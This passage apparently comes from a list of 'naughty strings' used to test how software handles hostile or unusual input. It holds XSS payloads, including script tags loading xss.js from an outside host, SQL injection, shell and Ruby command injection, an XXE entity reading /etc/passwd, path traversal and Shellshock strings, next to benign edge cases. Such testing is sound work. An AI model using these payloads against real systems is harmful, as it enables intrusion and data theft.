| 485 | <img src\x09=x onerror="javascript:alert(1)"> |
| 486 | <img src\x10=x onerror="javascript:alert(1)"> |
| 487 | <img src\x13=x onerror="javascript:alert(1)"> |
| 488 | <img src\x32=x onerror="javascript:alert(1)"> |
| 489 | <img src\x12=x onerror="javascript:alert(1)"> |
| 490 | <img src\x11=x onerror="javascript:alert(1)"> |
| 491 | <img src\x00=x onerror="javascript:alert(1)"> |
| 492 | <img src\x47=x onerror="javascript:alert(1)"> |
| 493 | <img src=x\x09onerror="javascript:alert(1)"> |
| 494 | <img src=x\x10onerror="javascript:alert(1)"> |
| 495 | <img src=x\x11onerror="javascript:alert(1)"> |
| 496 | <img src=x\x12onerror="javascript:alert(1)"> |
| 497 | <img src=x\x13onerror="javascript:alert(1)"> |
| 498 | <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)"> |
| 499 | <img src=x onerror=\x09"javascript:alert(1)"> |
| 500 | <img src=x onerror=\x10"javascript:alert(1)"> |
| 501 | <img src=x onerror=\x11"javascript:alert(1)"> |
| 502 | <img src=x onerror=\x12"javascript:alert(1)"> |
| 503 | <img src=x onerror=\x32"javascript:alert(1)"> |
| 504 | <img src=x onerror=\x00"javascript:alert(1)"> |
| 505 | <a href=javascript:javascript:alert(1)>XXX</a> |
| 506 | <img src="x` `<script>javascript:alert(1)</script>"` `> |
| 507 | <img src onerror /" '"= alt=javascript:alert(1)//"> |
| 508 | <title onpropertychange=javascript:alert(1)></title><title title=> |
| 509 | <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>"> |
| 510 | <!--[if]><script>javascript:alert(1)</script --> |
| 511 | <!--[if<img src=x onerror=javascript:alert(1)//]> --> |
| 512 | <script src="/\%(jscript)s"></script> |
| 513 | <script src="\\%(jscript)s"></script> |
| 514 | <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> |
| 515 | <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> |
| 516 | <IMG SRC=# onmouseover="alert('xxs')"> |
| 517 | <IMG SRC= onmouseover="alert('xxs')"> |
| 518 | <IMG onmouseover="alert('xxs')"> |
| 519 | <IMG SRC=javascript:alert('XSS')> |
| 520 | <IMG SRC=javascript:alert('XSS')> |
| 521 | <IMG SRC=javascript:alert('XSS')> |
| 522 | <IMG SRC="jav ascript:alert('XSS');"> |
| 523 | <IMG SRC="jav	ascript:alert('XSS');"> |
| 524 | <IMG SRC="jav
ascript:alert('XSS');"> |
| 525 | <IMG SRC="jav
ascript:alert('XSS');"> |
| 526 | perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out |
| 527 | <IMG SRC="  javascript:alert('XSS');"> |
| 528 | <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
| 529 | <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> |
| 530 | <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> |
| 531 | <<SCRIPT>alert("XSS");//<</SCRIPT> |
| 532 | <SCRIPT SRC=http://ha.ckers.org/xss.js?< B > |
| 533 | <SCRIPT SRC=//ha.ckers.org/.j> |
| 534 | <IMG SRC="javascript:alert('XSS')" |
| 535 | <iframe src=http://ha.ckers.org/scriptlet.html < |
| 536 | \";alert('XSS');// |
| 537 | <u oncopy=alert()> Copy me</u> |
| 538 | <i onwheel=alert(1)> Scroll over me </i> |
| 539 | <plaintext> |
| 540 | http://a/%%30%30 |
| 541 | </textarea><script>alert(123)</script> |
| 542 | |
| 543 | # SQL Injection |
| 544 | # |
| 545 | # Strings which can cause a SQL injection if inputs are not sanitized |
| 546 | |
| 547 | 1;DROP TABLE users |
| 548 | 1'; DROP TABLE users-- 1 |
| 549 | ' OR 1=1 -- 1 |
| 550 | ' OR '1'='1 |
| 551 | |
| 552 | % |
| 553 | _ |
| 554 | |
| 555 | # Server Code Injection |
| 556 | # |
| 557 | # Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153) |
| 558 | |
| 559 | - |
| 560 | -- |
| 561 | --version |
| 562 | --help |
| 563 | $USER |
| 564 | /dev/null; touch /tmp/blns.fail ; echo |
| 565 | `touch /tmp/blns.fail` |
| 566 | $(touch /tmp/blns.fail) |
| 567 | @{[system "touch /tmp/blns.fail"]} |
| 568 | |
| 569 | # Command Injection (Ruby) |
| 570 | # |
| 571 | # Strings which can call system commands within Ruby/Rails applications |
| 572 | |
| 573 | eval("puts 'hello world'") |
| 574 | System("ls -al /") |
| 575 | `ls -al /` |
| 576 | Kernel.exec("ls -al /") |
| 577 | Kernel.exit(1) |
| 578 | %x('ls -al /') |
| 579 | |
| 580 | # XXE Injection (XML) |
| 581 | # |
| 582 | # String which can reveal system files when parsed by a badly configured XML parser |
| 583 | |
| 584 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> |
| 585 | |
| 586 | # Unwanted Interpolation |
| 587 | # |
| 588 | # Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just represent the wrong string. |
| 589 | |
| 590 | $HOME |
| 591 | $ENV{'HOME'} |
| 592 | %d |
| 593 | %s |
| 594 | {0} |
| 595 | %*.*s |
| 596 | File:/// |
| 597 | |
| 598 | # File Inclusion |
| 599 | # |
| 600 | # Strings which can cause user to pull in files that should not be a part of a web server |
| 601 | |
| 602 | ../../../../../../../../../../../etc/passwd%00 |
| 603 | ../../../../../../../../../../../etc/hosts |
| 604 | |
| 605 | # Known CVEs and Vulnerabilities |
| 606 | # |
| 607 | # Strings that test for known vulnerabilities |
| 608 | |
| 609 | () { 0; }; touch /tmp/blns.shellshock1.fail; |
| 610 | () { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; } |
| 611 | <<< %s(un='%s') = %u |
| 612 | +++ATH0 |
| 613 | |
| 614 | # MSDOS/Windows Special Filenames |
| 615 | # |
| 616 | # Strings which are reserved characters in MSDOS/Windows |
| 617 | |
| 618 | CON |
| 619 | PRN |
| 620 | AUX |
| 621 | CLOCK$ |
| 622 | NUL |
| 623 | A: |
| 624 | ZZ: |
| 625 | COM1 |
| 626 | LPT1 |
| 627 | LPT2 |
| 628 | LPT3 |
| 629 | COM2 |
| 630 | COM3 |
| 631 | COM4 |
| 632 | |
| 633 | # IRC specific strings |
| 634 | # |
| 635 | # Strings that may occur on IRC clients that make security products freak out |
| 636 | |
| 637 | DCC SEND STARTKEYLOGGER 0 0 0 |
| 638 | |
| 639 | # Scunthorpe Problem |
| 640 | # |
| 641 | # Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem) |
| 642 | |
| 643 | Scunthorpe General Hospital |
| 644 | Penistone Community Church |
| 645 | Lightwater Country Park |
| 646 | Jimmy Clitheroe |
| 647 | Horniman Museum |
| 648 | shitake mushrooms |
| 649 | RomansInSussex.co.uk |
| 650 | http://www.cum.qc.ca/ |
| 651 | Craig Cockburn, Software Specialist |
| 652 | Linda Callahan |
| 653 | Dr. Herman I. Libshitz |
| 654 | magna cum laude |
| 655 | Super Bowl XXX |
| 656 | medieval erection of parapets |
| 657 | evaluate |
| 658 | mocha |
| 659 | expression |
| 660 | Arsenal canal |
| 661 | classic |
| 662 | Tyson Gay |
| 663 | Dick Van Dyke |
| 664 | basement |
| 665 | |
| 666 | # Human injection |
| 667 | # |
| 668 | # Strings which may cause human to reinterpret worldview |
| 669 | |
| 670 | If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you. |
| 671 | |
| 672 | # Terminal escape codes |
| 673 | # |
| 674 | # Strings which punish the fools who use cat/type on this file |
| 675 | |
| 676 | Roses are [0;31mred[0m, violets are [0;34mblue. Hope you enjoy terminal hue |
| 677 | But now...[20Cfor my greatest trick...[8m |
| 678 | The quick brown fox... [Beeeep] |
| 679 | |
| 680 | # iOS Vulnerabilities |
| 681 | # |
| 682 | # Strings which crashed iMessage in various versions of iOS |
| 683 | |
| 684 | Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗 |
| 685 | 🏳0🌈️ |